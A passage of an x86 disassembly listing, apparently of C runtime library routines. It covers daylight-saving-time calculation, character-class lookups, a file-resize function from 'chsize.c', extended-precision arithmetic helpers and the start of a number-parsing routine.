xor eax, eax jmp short loc_42C196 ; --------------------------------------------------------------------------- loc_42C137: ; CODE XREF: sub_42BEA0:loc_42C0F2j ; sub_42BEA0+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_443F64 jnz short loc_42C182 mov eax, [ebp+var_4] cmp eax, dword_443F68 jl short loc_42C17E mov eax, 1 jmp short loc_42C196 ; --------------------------------------------------------------------------- loc_42C17E: ; CODE XREF: sub_42BEA0+2D5j xor eax, eax jmp short loc_42C196 ; --------------------------------------------------------------------------- loc_42C182: ; CODE XREF: sub_42BEA0+2CAj mov ecx, [ebp+var_4] cmp ecx, dword_443F78 jge short loc_42C194 mov eax, 1 jmp short loc_42C196 ; --------------------------------------------------------------------------- loc_42C194: ; CODE XREF: sub_42BEA0+2EBj xor eax, eax loc_42C196: ; CODE XREF: sub_42BEA0+Fj ; sub_42BEA0+227j ... mov esp, ebp pop ebp retn sub_42BEA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1A0 proc near ; CODE XREF: sub_42BEA0+9Fp ; sub_42BEA0+F2p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 1 jnz loc_42C27C mov eax, [ebp+arg_8] and eax, 3 test eax, eax jnz short loc_42C1C9 mov ecx, [ebp+arg_C] mov edx, dword_443F78[ecx*4] mov [ebp+var_C], edx jmp short loc_42C1D6 ; --------------------------------------------------------------------------- loc_42C1C9: ; CODE XREF: sub_42C1A0+18j mov eax, [ebp+arg_C] mov ecx, dword_443FAC[eax*4] mov [ebp+var_C], ecx loc_42C1D6: ; CODE XREF: sub_42C1A0+27j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_8] sub eax, 46h imul eax, 16Dh mov ecx, [ebp+var_8] add ecx, eax mov edx, [ebp+arg_8] sub edx, 1 sar edx, 2 lea eax, [ecx+edx-0Dh] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], edx mov edx, [ebp+var_4] cmp edx, [ebp+arg_14] jge short loc_42C229 mov eax, [ebp+arg_14] sub eax, [ebp+var_4] mov ecx, [ebp+arg_10] sub ecx, 1 imul ecx, 7 add ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_42C23D ; --------------------------------------------------------------------------- loc_42C229: ; CODE XREF: sub_42C1A0+6Ej mov edx, [ebp+arg_14] sub edx, [ebp+var_4] mov eax, [ebp+arg_10] imul eax, 7 add eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_42C23D: ; CODE XREF: sub_42C1A0+87j cmp [ebp+arg_10], 5 jnz short loc_42C27A mov ecx, [ebp+arg_8] and ecx, 3 test ecx, ecx jnz short loc_42C25C mov edx, [ebp+arg_C] mov eax, dword_443F7C[edx*4] mov [ebp+var_10], eax jmp short loc_42C269 ; --------------------------------------------------------------------------- loc_42C25C: ; CODE XREF: sub_42C1A0+ABj mov ecx, [ebp+arg_C] mov edx, dword_443FB0[ecx*4] mov [ebp+var_10], edx loc_42C269: ; CODE XREF: sub_42C1A0+BAj mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jle short loc_42C27A mov ecx, [ebp+var_8] sub ecx, 7 mov [ebp+var_8], ecx loc_42C27A: ; CODE XREF: sub_42C1A0+A1j ; sub_42C1A0+CFj jmp short loc_42C2B1 ; --------------------------------------------------------------------------- loc_42C27C: ; CODE XREF: sub_42C1A0+Aj mov edx, [ebp+arg_8] and edx, 3 test edx, edx jnz short loc_42C295 mov eax, [ebp+arg_C] mov ecx, dword_443F78[eax*4] mov [ebp+var_14], ecx jmp short loc_42C2A2 ; --------------------------------------------------------------------------- loc_42C295: ; CODE XREF: sub_42C1A0+E4j mov edx, [ebp+arg_C] mov eax, dword_443FAC[edx*4] mov [ebp+var_14], eax loc_42C2A2: ; CODE XREF: sub_42C1A0+F3j mov ecx, [ebp+var_14] mov [ebp+var_8], ecx mov edx, [ebp+var_8] add edx, [ebp+arg_18] mov [ebp+var_8], edx loc_42C2B1: ; CODE XREF: sub_42C1A0:loc_42C27Aj cmp [ebp+arg_0], 1 jnz short loc_42C2F1 mov eax, [ebp+var_8] mov dword_443F64, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_443F68, ecx mov edx, [ebp+arg_8] mov dword_443F60, edx jmp loc_42C394 ; --------------------------------------------------------------------------- loc_42C2F1: ; CODE XREF: sub_42C1A0+115j mov eax, [ebp+var_8] mov dword_443F74, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_443F78, ecx mov edx, dword_443ED0 imul edx, 3E8h mov eax, dword_443F78 add eax, edx mov dword_443F78, eax cmp dword_443F78, 0 jge short loc_42C361 mov ecx, dword_443F78 add ecx, 5265C00h mov dword_443F78, ecx mov edx, dword_443F74 sub edx, 1 mov dword_443F74, edx jmp short loc_42C38B ; --------------------------------------------------------------------------- loc_42C361: ; CODE XREF: sub_42C1A0+19Cj cmp dword_443F78, 5265C00h jl short loc_42C38B mov eax, dword_443F78 sub eax, 5265C00h mov dword_443F78, eax mov ecx, dword_443F74 add ecx, 1 mov dword_443F74, ecx loc_42C38B: ; CODE XREF: sub_42C1A0+1BFj ; sub_42C1A0+1CBj mov edx, [ebp+arg_8] mov dword_443F70, edx loc_42C394: ; CODE XREF: sub_42C1A0+14Cj mov esp, ebp pop ebp retn sub_42C1A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 0 mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 0 mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 107h mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 103h mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 117h mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 3 push 157h mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 push 10h mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C4A0 proc near ; CODE XREF: sub_425180+4Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push 0 mov eax, [ebp+arg_0] push eax call sub_42C520 add esp, 0Ch pop ebp retn sub_42C4A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 8 push 0 mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_492524, 3A4h jnz short loc_42C50D push 3 push 0 mov eax, [ebp+8] push eax call sub_42C520 add esp, 0Ch test eax, eax jz short loc_42C50D mov dword ptr [ebp-4], 1 jmp short loc_42C514 ; --------------------------------------------------------------------------- loc_42C50D: ; CODE XREF: .text:0042C4EEj ; .text:0042C502j mov dword ptr [ebp-4], 0 loc_42C514: ; CODE XREF: .text:0042C50Bj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C520 proc near ; CODE XREF: .text:0042C3ABp ; .text:0042C3CBp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, byte_492641[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_42C574 cmp [ebp+arg_4], 0 jz short loc_42C55E mov eax, [ebp+arg_0] xor ecx, ecx mov cx, word_442D56[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_42C565 ; --------------------------------------------------------------------------- loc_42C55E: ; CODE XREF: sub_42C520+27j mov [ebp+var_4], 0 loc_42C565: ; CODE XREF: sub_42C520+3Cj cmp [ebp+var_4], 0 jnz short loc_42C574 mov [ebp+var_8], 0 jmp short loc_42C57B ; --------------------------------------------------------------------------- loc_42C574: ; CODE XREF: sub_42C520+21j ; sub_42C520+49j mov [ebp+var_8], 1 loc_42C57B: ; CODE XREF: sub_42C520+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42C520 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_492520 jnb short loc_42C5C1 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42C5D1 loc_42C5C1: ; CODE XREF: .text:0042C59Dj call sub_422F20 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_42C5FF ; --------------------------------------------------------------------------- loc_42C5D1: ; CODE XREF: .text:0042C5BFj mov edx, [ebp+8] push edx call sub_4280C0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_42C610 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_428150 add esp, 4 mov eax, [ebp-4] loc_42C5FF: ; CODE XREF: .text:0042C5CFj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C610 proc near ; CODE XREF: sub_4282A0+44Cp ; .text:0042C5E5p var_1024 = dword ptr -1024h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1024h call sub_418D40 push ebx push esi push edi lea eax, [ebp+var_1004] mov [ebp+var_1014], eax mov [ebp+var_101C], 0 loc_42C636: ; CODE XREF: sub_42C610+51j cmp [ebp+arg_4], 0 jge short loc_42C65D push offset aSize0 ; "size >= 0" push 0 push 81h push offset aChsize_c ; "chsize.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_42C65D int 3 ; Trap to Debugger loc_42C65D: ; CODE XREF: sub_42C610+2Aj ; sub_42C610+4Aj xor ecx, ecx test ecx, ecx jnz short loc_42C636 push 1 push 0 mov edx, [ebp+arg_0] push edx call sub_424B90 add esp, 0Ch mov [ebp+var_100C], eax cmp [ebp+var_100C], 0FFFFFFFFh jz short loc_42C6A1 push 2 push 0 mov eax, [ebp+arg_0] push eax call sub_424B90 add esp, 0Ch mov [ebp+var_1010], eax cmp [ebp+var_1010], 0FFFFFFFFh jnz short loc_42C6A9 loc_42C6A1: ; CODE XREF: sub_42C610+70j or eax, 0FFFFFFFFh jmp loc_42C839 ; --------------------------------------------------------------------------- loc_42C6A9: ; CODE XREF: sub_42C610+8Fj mov ecx, [ebp+arg_4] sub ecx, [ebp+var_1010] mov [ebp+var_1018], ecx cmp [ebp+var_1018], 0 jle loc_42C7C0 push 1000h push 0 mov edx, [ebp+var_1014] push edx call sub_4189A0 add esp, 0Ch push 8000h mov eax, [ebp+arg_0] push eax call sub_42F8C0 add esp, 8 mov [ebp+var_4], eax loc_42C6EF: ; CODE XREF: sub_42C610+198j cmp [ebp+var_1018], 1000h jl short loc_42C707 mov [ebp+var_1020], 1000h jmp short loc_42C713 ; --------------------------------------------------------------------------- loc_42C707: ; CODE XREF: sub_42C610+E9j mov ecx, [ebp+var_1018] mov [ebp+var_1020], ecx loc_42C713: ; CODE XREF: sub_42C610+F5j mov edx, [ebp+var_1020] mov [ebp+var_1008], edx cmp [ebp+var_1018], 1000h jl short loc_42C737 mov [ebp+var_1024], 1000h jmp short loc_42C743 ; --------------------------------------------------------------------------- loc_42C737: ; CODE XREF: sub_42C610+119j mov eax, [ebp+var_1018] mov [ebp+var_1024], eax loc_42C743: ; CODE XREF: sub_42C610+125j mov ecx, [ebp+var_1024] push ecx mov edx, [ebp+var_1014] push edx mov eax, [ebp+arg_0] push eax call sub_422400 add esp, 0Ch mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_42C78F call sub_422F30 cmp dword ptr [eax], 5 jnz short loc_42C781 call sub_422F20 mov dword ptr [eax], 0Dh loc_42C781: ; CODE XREF: sub_42C610+164j mov ecx, [ebp+var_1008] mov [ebp+var_101C], ecx jmp short loc_42C7AE ; --------------------------------------------------------------------------- loc_42C78F: ; CODE XREF: sub_42C610+15Aj mov edx, [ebp+var_1018] sub edx, [ebp+var_1008] mov [ebp+var_1018], edx cmp [ebp+var_1018], 0 jg loc_42C6EF loc_42C7AE: ; CODE XREF: sub_42C610+17Dj mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42F8C0 add esp, 8 jmp short loc_42C81E ; --------------------------------------------------------------------------- loc_42C7C0: ; CODE XREF: sub_42C610+AFj cmp [ebp+var_1018], 0 jge short loc_42C81E push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_424B90 add esp, 0Ch mov ecx, [ebp+arg_0] push ecx call sub_427F40 add esp, 4 push eax call ds:dword_4942A4 neg eax sbb eax, eax neg eax dec eax mov [ebp+var_101C], eax cmp [ebp+var_101C], 0FFFFFFFFh jnz short loc_42C81E call sub_422F20 mov dword ptr [eax], 0Dh call ds:dword_4942F0 mov esi, eax call sub_422F30 mov [eax], esi loc_42C81E: ; CODE XREF: sub_42C610+1AEj ; sub_42C610+1B7j ... push 0 mov edx, [ebp+var_100C] push edx mov eax, [ebp+arg_0] push eax call sub_424B90 add esp, 0Ch mov eax, [ebp+var_101C] loc_42C839: ; CODE XREF: sub_42C610+94j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C610 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C840 proc near ; CODE XREF: sub_428D30+53p ; sub_428D30+94p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_0] jb short loc_42C866 mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_42C86F loc_42C866: ; CODE XREF: sub_42C840+1Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_42C86F: ; CODE XREF: sub_42C840+24j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42C840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C880 proc near ; CODE XREF: sub_42CA00+77p ; sub_42CA00+AAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_42C840 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42C8D7 mov edx, [ebp+arg_0] add edx, 4 push edx push 1 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_42C840 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42C8D7 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax loc_42C8D7: ; CODE XREF: sub_42C880+25j ; sub_42C880+46j mov edx, [ebp+arg_0] add edx, 4 push edx mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_42C840 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_42C90C mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx loc_42C90C: ; CODE XREF: sub_42C880+7Bj mov ecx, [ebp+arg_0] add ecx, 8 push ecx mov edx, [ebp+arg_4] mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] push edx call sub_42C840 add esp, 0Ch mov esp, ebp pop ebp retn sub_42C880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C930 proc near ; CODE XREF: sub_42CA00+5Bp ; sub_42CA00+67p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 80000000h neg ecx sbb ecx, ecx neg ecx mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 80000000h neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx] shl edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shl edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] shl edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+8], edx mov esp, ebp pop ebp retn sub_42C930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C990 proc near ; CODE XREF: sub_42D6C0+382p ; sub_42F990+316p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 neg ecx sbb ecx, ecx and ecx, 80000000h mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 1 neg eax sbb eax, eax and eax, 80000000h mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shr edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx] shr edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax], edx mov esp, ebp pop ebp retn sub_42C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CA00 proc near ; CODE XREF: sub_42CB40+8A7p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 404Eh mov eax, [ebp+arg_8] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_8] mov dword ptr [edx+8], 0 jmp short loc_42CA3D ; --------------------------------------------------------------------------- loc_42CA2B: ; CODE XREF: sub_42CA00+B2j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42CA3D: ; CODE XREF: sub_42CA00+29j cmp [ebp+arg_4], 0 jbe short loc_42CAB7 mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_C], eax mov ecx, [edx+4] mov [ebp+var_8], ecx mov edx, [edx+8] mov [ebp+var_4], edx mov eax, [ebp+arg_8] push eax call sub_42C930 add esp, 4 mov ecx, [ebp+arg_8] push ecx call sub_42C930 add esp, 4 lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_8] push eax call sub_42C880 add esp, 8 mov ecx, [ebp+arg_8] push ecx call sub_42C930 add esp, 4 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov [ebp+var_C], eax mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx call sub_42C880 add esp, 8 jmp loc_42CA2B ; --------------------------------------------------------------------------- loc_42CAB7: ; CODE XREF: sub_42CA00+41j ; sub_42CA00+101j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 0 jnz short loc_42CB03 mov ecx, [ebp+arg_8] mov edx, [ecx+4] shr edx, 10h mov eax, [ebp+arg_8] mov [eax+8], edx mov ecx, [ebp+arg_8] mov edx, [ecx+4] shl edx, 10h mov eax, [ebp+arg_8] mov ecx, [eax] shr ecx, 10h or edx, ecx mov eax, [ebp+arg_8] mov [eax+4], edx mov ecx, [ebp+arg_8] mov edx, [ecx] shl edx, 10h mov eax, [ebp+arg_8] mov [eax], edx mov cx, [ebp+var_10] sub cx, 10h mov [ebp+var_10], cx jmp short loc_42CAB7 ; --------------------------------------------------------------------------- loc_42CB03: ; CODE XREF: sub_42CA00+BEj ; sub_42CA00+12Aj mov edx, [ebp+arg_8] mov eax, [edx+8] and eax, 8000h test eax, eax jnz short loc_42CB2C mov ecx, [ebp+arg_8] push ecx call sub_42C930 add esp, 4 mov dx, [ebp+var_10] sub dx, 1 mov [ebp+var_10], dx jmp short loc_42CB03 ; --------------------------------------------------------------------------- loc_42CB2C: ; CODE XREF: sub_42CA00+110j mov eax, [ebp+arg_8] mov cx, [ebp+var_10] mov [eax+0Ah], cx mov esp, ebp pop ebp retn sub_42CA00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CB40 proc near ; CODE XREF: sub_4293C0+1Ap ; .text:0042941Ap ... var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0B4h lea eax, [ebp+var_38] mov [ebp+var_68], eax mov word ptr [ebp+var_1C], 0 mov [ebp+var_74], 1 mov [ebp+var_70], 0 mov [ebp+var_54], 0 mov [ebp+var_C], 0 mov [ebp+var_18], 0 mov [ebp+var_40], 0 mov [ebp+var_78], 0 mov [ebp+var_14], 0 mov [ebp+var_6C], 0 mov [ebp+var_44], 0 mov [ebp+var_4C], 0 mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_64], edx jmp short loc_42CBB9 ; --------------------------------------------------------------------------- loc_42CBB0: ; CODE XREF: sub_42CB40:loc_42CBE5j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42CBB9: ; CODE XREF: sub_42CB40+6Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_42CBE5 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jz short loc_42CBE5 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jz short loc_42CBE5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jnz short loc_42CBE7 loc_42CBE5: ; CODE XREF: sub_42CB40+82j ; sub_42CB40+8Dj ... jmp short loc_42CBB0 ; --------------------------------------------------------------------------- loc_42CBE7: ; CODE XREF: sub_42CB40+A3j ; sub_42CB40:loc_42D343j cmp [ebp+var_4C], 0Ah jz loc_42D348 mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4C] mov [ebp+var_80], eax cmp [ebp+var_80], 0Bh ja loc_42D343 mov ecx, [ebp+var_80] jmp ds:off_42D55A[ecx*4] loc_42CC1C: ; DATA XREF: .text:off_42D55Ao movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42CC40 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42CC40 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42CCB5 ; --------------------------------------------------------------------------- loc_42CC40: ; CODE XREF: sub_42CB40+E3j ; sub_42CB40+ECj movsx edx, byte ptr [ebp+var_3C] movsx eax, byte_442F5C cmp edx, eax jnz short loc_42CC58 mov [ebp+var_4C], 5 jmp short loc_42CCB5 ; --------------------------------------------------------------------------- loc_42CC58: ; CODE XREF: sub_42CB40+10Dj mov cl, byte ptr [ebp+var_3C] mov [ebp+var_84], cl cmp [ebp+var_84], 2Bh jz short loc_42CC87 cmp [ebp+var_84], 2Dh jz short loc_42CC96 cmp [ebp+var_84], 30h jz short loc_42CC7E jmp short loc_42CCA5 ; --------------------------------------------------------------------------- loc_42CC7E: ; CODE XREF: sub_42CB40+13Aj mov [ebp+var_4C], 1 jmp short loc_42CCB5 ; --------------------------------------------------------------------------- loc_42CC87: ; CODE XREF: sub_42CB40+128j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 0 jmp short loc_42CCB5 ; --------------------------------------------------------------------------- loc_42CC96: ; CODE XREF: sub_42CB40+131j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 8000h jmp short loc_42CCB5 ; --------------------------------------------------------------------------- loc_42CCA5: ; CODE XREF: sub_42CB40+13Cj mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42CCB5: ; CODE XREF: sub_42CB40+FEj ; sub_42CB40+116j ... jmp loc_42D343 ; --------------------------------------------------------------------------- loc_42CCBA: ; CODE XREF: sub_42CB40+D5j ; DATA XREF: .text:0042D55Eo mov [ebp+var_54], 1 movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_42CCE8 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_42CCE8 mov [ebp+var_4C], 3 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp loc_42CD6B ; --------------------------------------------------------------------------- loc_42CCE8: ; CODE XREF: sub_42CB40+188j ; sub_42CB40+191j movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_442F5C cmp eax, ecx jnz short loc_42CD00 mov [ebp+var_4C], 4 jmp short loc_42CD6B ; --------------------------------------------------------------------------- loc_42CD00: ; CODE XREF: sub_42CB40+1B5j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_88], edx mov eax, [ebp+var_88] sub eax, 2Bh mov [ebp+var_88], eax cmp [ebp+var_88], 3Ah ja short loc_42CD5B mov edx, [ebp+var_88] xor ecx, ecx mov cl, ds:byte_42D59A[edx] jmp ds:off_42D58A[ecx*4] loc_42CD37: ; 